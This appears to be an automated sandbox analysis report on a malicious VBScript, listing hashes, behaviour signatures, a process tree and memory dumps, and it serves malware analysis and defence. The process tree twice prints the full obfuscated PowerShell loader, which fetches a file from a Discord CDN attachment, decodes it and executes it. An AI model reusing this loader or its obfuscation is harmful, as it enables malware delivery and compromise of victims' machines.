Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20230712-en
  • resource tags

    arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
  • submitted
    06/08/2023, 15:51

General

  • Target

    8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7vbs_JC.vbs

  • Size

    10KB

  • MD5

    9127b986f6b8b55cc8faa723accd3658

  • SHA1

    2c00263ac7b91fc3a150e3bba231e73d3d2672fb

  • SHA256

    8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7

  • SHA512

    838a0d995b3d14ab91147c6e4f963df34cddbe2ac344bdd98d3d5bdcea08d463725e878fc55395d0edb703d1b63b520fdce82b0fb2c6e949da4d9b594c85f4b6

  • SSDEEP

    192:EL2f6ltP1LsfgyTWEgF4nssbpPtNchpSKBZV7Ej9m+OSgGHTz:E6fUNwWMbNtNcnBva4QHTz

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8dd3efc8964659b8c8543d8ccc9b76768cb98eab1080f17a3e7ef31f4df1a2e7vbs_JC.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2392
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function ulcerous9 ([String]$Simulacras){For($Anterethic=1; $Anterethic -lt $Simulacras.Length-1; $Anterethic+=(1+1)){$Ankomst=$Simulacras.Substring($Anterethic, 1);$Vilbertunp=$Vilbertunp+$Ankomst}$Vilbertunp;}$Jaggerurog=ulcerous9 'ShUtRtwpVsE:S/E/Gc dPnS.Fd i s c oSrRd aRpSp . cPoCmP/FaItpt aFcIhamMe nctRsE/M1 0K7S5K6N4P1E3N1 9P5O2N4R9T2E5A4 4U2I/v1 1U3 6S0 5 7I9K9 9m8 4 9E4N3s1 0 4E0G/TPErBoPbS1 7 4p.MdIeLpTl oLyU ';$Vilbertunp01=ulcerous9 ' i eUxE ';$tsar = ulcerous9 'l\KsFyBsRwEoKw 6L4L\LWUi nAd oFwHsOPMoUw eAr S hAeLlalE\ v 1A.V0R\UpFoTwFe rTsRhSeTlAlT. e xDeS ';&($Vilbertunp01) (ulcerous9 'W$SSVtPo rFsNeLjFlle n 2B=U$FeIn vP:lwSiMnFdui r ') ;&($Vilbertunp01) (ulcerous9 'D$OtAsUaPr =P$GSStFo rIsMeBj lPeGnS2E+D$atNsGaCrt ') ;&($Vilbertunp01) (ulcerous9 'S$ISBkCiblUt S=F S(F(Ug wGm iP BwKiGn 3 2C_BpRruoRcLe sIsD V-FFB PtrPobcBeRsBsTIGdA=D$U{UPMI Db}N) .SCBoAmCmYaSnCdSLKiLnJeP)S -JsUpAlAiEtA B[FcmhKaPr ]N3T4s ');&($Vilbertunp01) (ulcerous9 ' $UjHuAr iAsEdDiSkA T=T R$ SAkAiPl tS[S$SSSkEiClAtS.Kc oIuFnAtF- 2U]r ');&($Vilbertunp01) (ulcerous9 'P$ PUeSdSaDn =E( TseKs tR-SPva tKhT K$BtPsTaUrP) L-TAHnRdW G(T[EIUnbtKP tMrD]C:F:PsPiszIeL -MeMqP R8L)D ') ;if ($Pedan) {.$tsar $jurisdik;} else {;$Vilbertunp00=ulcerous9 ' S tFa rKtA-KBBi tHsBTRr a nBsOfMe rA C-HS oRuCrccPeB $ JBaSgIg eDrpuUr oOgG -kD eKs tHignGaEt i oRnT c$KSDtFoSrTsBe jKlNeDnG2v ';&($Vilbertunp01) (ulcerous9 'F$ S tMoUrIsRefjRlceEn 2S=U$UeFnFvR:kaHpHpFd a tIaB ') ;&($Vilbertunp01) (ulcerous9 'sIUmapLoarCtN-DMAoCdJuSlveH SB iFtAsMT r a n sTfFeCrH ') ;$Storsejlen2=$Storsejlen2+'\Geullah.Fad';while (-not $Incurablen) {&($Vilbertunp01) (ulcerous9 ' $hIUnFcSu rFaNbOlDe nU=I(MTTeHsTtS-FPLa tChT N$TSctBoFrBsreEjOl eMna2Y)h ') ;&($Vilbertunp01) $Vilbertunp00;&($Vilbertunp01) (ulcerous9 'BS tAa rStE- S lFeKeApK R5K ');}&($Vilbertunp01) (ulcerous9 'E$BuAlTcAe rAoFu sa H=F gGAeNtA- CLoCnEt eVnStD a$RSgtPoOrEs eBj loeLnF2t ');&($Vilbertunp01) (ulcerous9 'M$SNfdAbFaStU I=D J[BSRyTsPtAe mH. CDoEnSvHeUrLt ]E:A:uFCrPoMmGBLa sOea6R4TSMtArJiUn gG(T$CuHlScdeDrSo uVs ) ');&($Vilbertunp01) (ulcerous9 ' $BVSiIlIbee r t u nHpT2P G=L i[dS y sStTeSmB.DTHeAxBtS. ESn cUoPdTiPnTgF]T:D:sAsSVCTI Iz.RGMeFtSSStArCiHn gM( $MNSdUbDaStH)D ');&($Vilbertunp01) (ulcerous9 'C$HCRoTrPrAeKsUpToI=B$SVNiSlNb eFr thuEnFp 2F.UsUuEbSsItBrFiCnNgp(K2G6Z0M0O3 1I,P1 9C7 2s0q)M ');&($Vilbertunp01) $Correspo;}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2484
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function ulcerous9 ([String]$Simulacras){For($Anterethic=1; $Anterethic -lt $Simulacras.Length-1; $Anterethic+=(1+1)){$Ankomst=$Simulacras.Substring($Anterethic, 1);$Vilbertunp=$Vilbertunp+$Ankomst}$Vilbertunp;}$Jaggerurog=ulcerous9 'ShUtRtwpVsE:S/E/Gc dPnS.Fd i s c oSrRd aRpSp . cPoCmP/FaItpt aFcIhamMe nctRsE/M1 0K7S5K6N4P1E3N1 9P5O2N4R9T2E5A4 4U2I/v1 1U3 6S0 5 7I9K9 9m8 4 9E4N3s1 0 4E0G/TPErBoPbS1 7 4p.MdIeLpTl oLyU ';$Vilbertunp01=ulcerous9 ' i eUxE ';$tsar = ulcerous9 'l\KsFyBsRwEoKw 6L4L\LWUi nAd oFwHsOPMoUw eAr S hAeLlalE\ v 1A.V0R\UpFoTwFe rTsRhSeTlAlT. e xDeS ';&($Vilbertunp01) (ulcerous9 'W$SSVtPo rFsNeLjFlle n 2B=U$FeIn vP:lwSiMnFdui r ') ;&($Vilbertunp01) (ulcerous9 'D$OtAsUaPr =P$GSStFo rIsMeBj lPeGnS2E+D$atNsGaCrt ') ;&($Vilbertunp01) (ulcerous9 'S$ISBkCiblUt S=F S(F(Ug wGm iP BwKiGn 3 2C_BpRruoRcLe sIsD V-FFB PtrPobcBeRsBsTIGdA=D$U{UPMI Db}N) .SCBoAmCmYaSnCdSLKiLnJeP)S -JsUpAlAiEtA B[FcmhKaPr ]N3T4s ');&($Vilbertunp01) (ulcerous9 ' $UjHuAr iAsEdDiSkA T=T R$ SAkAiPl tS[S$SSSkEiClAtS.Kc oIuFnAtF- 2U]r ');&($Vilbertunp01) (ulcerous9 'P$ PUeSdSaDn =E( TseKs tR-SPva tKhT K$BtPsTaUrP) L-TAHnRdW G(T[EIUnbtKP tMrD]C:F:PsPiszIeL -MeMqP R8L)D ') ;if ($Pedan) {.$tsar $jurisdik;} else {;$Vilbertunp00=ulcerous9 ' S tFa rKtA-KBBi tHsBTRr a nBsOfMe rA C-HS oRuCrccPeB $ JBaSgIg eDrpuUr oOgG -kD eKs tHignGaEt i oRnT c$KSDtFoSrTsBe jKlNeDnG2v ';&($Vilbertunp01) (ulcerous9 'F$ S tMoUrIsRefjRlceEn 2S=U$UeFnFvR:kaHpHpFd a tIaB ') ;&($Vilbertunp01) (ulcerous9 'sIUmapLoarCtN-DMAoCdJuSlveH SB iFtAsMT r a n sTfFeCrH ') ;$Storsejlen2=$Storsejlen2+'\Geullah.Fad';while (-not $Incurablen) {&($Vilbertunp01) (ulcerous9 ' $hIUnFcSu rFaNbOlDe nU=I(MTTeHsTtS-FPLa tChT N$TSctBoFrBsreEjOl eMna2Y)h ') ;&($Vilbertunp01) $Vilbertunp00;&($Vilbertunp01) (ulcerous9 'BS tAa rStE- S lFeKeApK R5K ');}&($Vilbertunp01) (ulcerous9 'E$BuAlTcAe rAoFu sa H=F gGAeNtA- CLoCnEt eVnStD a$RSgtPoOrEs eBj loeLnF2t ');&($Vilbertunp01) (ulcerous9 'M$SNfdAbFaStU I=D J[BSRyTsPtAe mH. CDoEnSvHeUrLt ]E:A:uFCrPoMmGBLa sOea6R4TSMtArJiUn gG(T$CuHlScdeDrSo uVs ) ');&($Vilbertunp01) (ulcerous9 ' $BVSiIlIbee r t u nHpT2P G=L i[dS y sStTeSmB.DTHeAxBtS. ESn cUoPdTiPnTgF]T:D:sAsSVCTI Iz.RGMeFtSSStArCiHn gM( $MNSdUbDaStH)D ');&($Vilbertunp01) (ulcerous9 'C$HCRoTrPrAeKsUpToI=B$SVNiSlNb eFr thuEnFp 2F.UsUuEbSsItBrFiCnNgp(K2G6Z0M0O3 1I,P1 9C7 2s0q)M ');&($Vilbertunp01) $Correspo;}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2420

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ANCFUU1M3EYLBY4YY37G.temp

          Filesize

          7KB

          MD5

          0a57d968ebffcb569a1083babdd65f09

          SHA1

          928d83f954007062284c6290afbacd1f14a643bf

          SHA256

          ea7a20dde7a5cb34856acc5ade1773ec457c2486ea09405515e2599b363922a3

          SHA512

          8581511cac4fe3952b132c7a6cb2718e40e1b106dbd747a7cb345884db8b137641aab5bc6f089b05f069895db3eb5e1fe0098c80c8ac0e04c5ab2e7674dc5b64

        • memory/2420-83-0x0000000002500000-0x0000000002540000-memory.dmp

          Filesize

          256KB

        • memory/2420-82-0x0000000073700000-0x0000000073CAB000-memory.dmp

          Filesize

          5.7MB

        • memory/2420-81-0x0000000073700000-0x0000000073CAB000-memory.dmp

          Filesize

          5.7MB

        • memory/2420-68-0x0000000002500000-0x0000000002540000-memory.dmp

          Filesize

          256KB

        • memory/2420-67-0x0000000073700000-0x0000000073CAB000-memory.dmp

          Filesize

          5.7MB

        • memory/2420-66-0x0000000073700000-0x0000000073CAB000-memory.dmp

          Filesize

          5.7MB

        • memory/2484-61-0x0000000002A80000-0x0000000002B00000-memory.dmp

          Filesize

          512KB

        • memory/2484-63-0x0000000002A80000-0x0000000002B00000-memory.dmp

          Filesize

          512KB

        • memory/2484-62-0x0000000002A80000-0x0000000002B00000-memory.dmp

          Filesize

          512KB

        • memory/2484-57-0x000000001B320000-0x000000001B602000-memory.dmp

          Filesize

          2.9MB

        • memory/2484-69-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

          Filesize

          9.6MB

        • memory/2484-70-0x0000000002A80000-0x0000000002B00000-memory.dmp

          Filesize

          512KB

        • memory/2484-71-0x0000000002A80000-0x0000000002B00000-memory.dmp

          Filesize

          512KB

        • memory/2484-79-0x0000000002A80000-0x0000000002B00000-memory.dmp

          Filesize

          512KB

        • memory/2484-80-0x0000000002A80000-0x0000000002B00000-memory.dmp

          Filesize

          512KB

        • memory/2484-60-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

          Filesize

          9.6MB

        • memory/2484-59-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp

          Filesize

          9.6MB

        • memory/2484-58-0x0000000001E50000-0x0000000001E58000-memory.dmp

          Filesize

          32KB